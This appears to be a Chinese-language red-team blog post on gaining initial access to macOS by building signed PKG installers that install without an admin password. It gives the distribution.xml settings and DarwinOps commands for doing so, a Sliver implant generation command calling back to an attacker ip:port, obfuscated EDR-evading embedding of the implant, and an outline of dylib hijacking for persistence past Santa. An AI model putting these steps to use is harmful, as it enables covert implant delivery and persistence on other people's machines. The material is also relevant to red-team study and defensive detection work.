macOS红队攻击第三篇:利用DarwinOps打造免密PKG实现初始访问

📅 发布时间:2026/7/16 18:03:49 👁️ 浏览次数:
macOS红队攻击第三篇:利用DarwinOps打造免密PKG实现初始访问
macOS红队攻击第三篇利用DarwinOps打造免密PKG实现初始访问技术现状PKG文件相当于Windows平台上的MSI安装包用于在macOS上安装应用程序、脚本、目录等。其中特别值得关注的是preinstall和postinstall脚本还有其他类型但这里我们只讨论这两种。PKG由苹果的Installer二进制程序启动会提示用户输入管理员密码以便用所需权限安装文件。如果用户当前会话没有管理员权限则无法安装使用苹果原生工具pkgbuild生成PKGpkgbuild\--root /需要/安装/的/文件夹\--identifier com.example.payload\--version1.0\payload.pkgPKG文件必须签名或不能带有隔离标记否则macOS会阻止其启动。但与应用程序相比PKG有一个显著优势签名后的PKG不会触发额外的警告提示。如何改进这个攻击向量如技术现状和GIF所示传统的PKG安装需要用户输入管理员密码这会增加用户操作的点击次数不理想如果用户没有足够权限则无法执行载荷在下载大量PKG文件进行研究时用于下一篇文章我发现了一个安装程序提供了有趣的选项“仅为我安装”——点击后注意到无需输入密码。这个发现值得深入探究看看我们如何自己构建这样的PKG。如何创建带有该选项的PKGProductbuild工具默认情况下我们得到的安装流程如上所示——从未看到过这个选项pkgbuild似乎也没有提供相关命令。这是因为需要用到productbuild。关键在于这个distribution.xml配置文件。它可以添加各种选项包括我们感兴趣的那个让用户选择安装位置。实际上通常更有效的方式是直接从preinstall/postinstall脚本运行stager所以实际安装目录并不那么重要// 典型的distribution.xml文件?xml version1.0 encodingutf-8?installer-gui-scriptminSpecVersion2optionscustomizeneverhostArchitecturesarm64/!-- 下面这两个参数允许用户选择安装位置 包括安装到他们的用户文件夹 --domainsenable_currentUserHometrue/title增强型pkg/titlechoices-outlinelinechoicedefault//choices-outlinechoiceiddefaultvisiblefalsetitleApppkg-refidcom.example.app//choicepkg-refidcom.example.appversion1.0installer.pkg/pkg-ref/installer-gui-script通过研究domains参数的其他选项我们可以禁用特权安装使第二个选项用户级安装成为默认选项——这样就不再需要任何额外的用户交互。命令行实现./darwin_ops -t CALC -G payload.pkg --pkg-no-elevationPKG与C2使用Sliver构建高级包接下来看看如何使用DarwinOps将Sliver植入程序嵌入到PKG中。generate --os macos --format macho --arch arm64 --httpip:port--skip-symbols // --skip-symbols 是因为DarwinOps会自行处理混淆部分对于DarwinOps部分有多个选项和子选项将载荷作为输入并构建PKG可行但规避能力较弱或者使用EmbedRun及其私有嵌入方法从而绕过EDR。选择embedrun模式。至于嵌入方法最好根据需求和你试图绕过的EDR来选择——文档中有详细说明。DarwinOps提供内置文档帮助指导选择各种选项和子选项因为其中一些可能需要进一步解释。./darwin_ops -t EMBED_RUN --embed ./C2/implant/LINEAR_VITALITY --embed-method classic -G ./Outputs/payload.pkg --obfuscate --pkg-no-elevation实际上PKG并不会安装任何实质内容而是利用其中一个脚本将payload解压到embedrun中并使用所选技术执行它。如何更进一步我们可以利用PKG文件“安装”的特性通过dylib劫持程序来建立持久化。这在Mac受Santa等解决方案保护的情况下特别有用。为此可以依赖ENUM_BIN_INJECT枚举场景它能识别系统中可通过dylib注入的应用程序无论是通过环境变量还是代理/顺序劫持。一旦识别出易受攻击的应用程序并确认目标Mac上存在该应用就可以制作一个PKG同时嵌入恶意dylib例如运行Mythic Apfell和合法dylib进程所需而恶意dylib将代理这些调用。这里不再深入探讨因为下一篇文章将详细介绍枚举和注入模板届时会解释使用DarwinOps进行此操作的完整流程包括用于初始访问的PKG和DMG等多种格式。FINISHEDCSD0tFqvECLokhw9aBeRqiAtBdroPKrTJORmTzK0GBgZWsFgYgIBpfB50FEBXBcaJQkdVsbuh1kd8VWZwTuvS2/84chYUORhFAzTecc9wkQncj8bSBqHrzCdH8Fgi更多精彩内容 请关注我的个人公众号 公众号办公AI智能小助手对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号网络安全技术点滴分享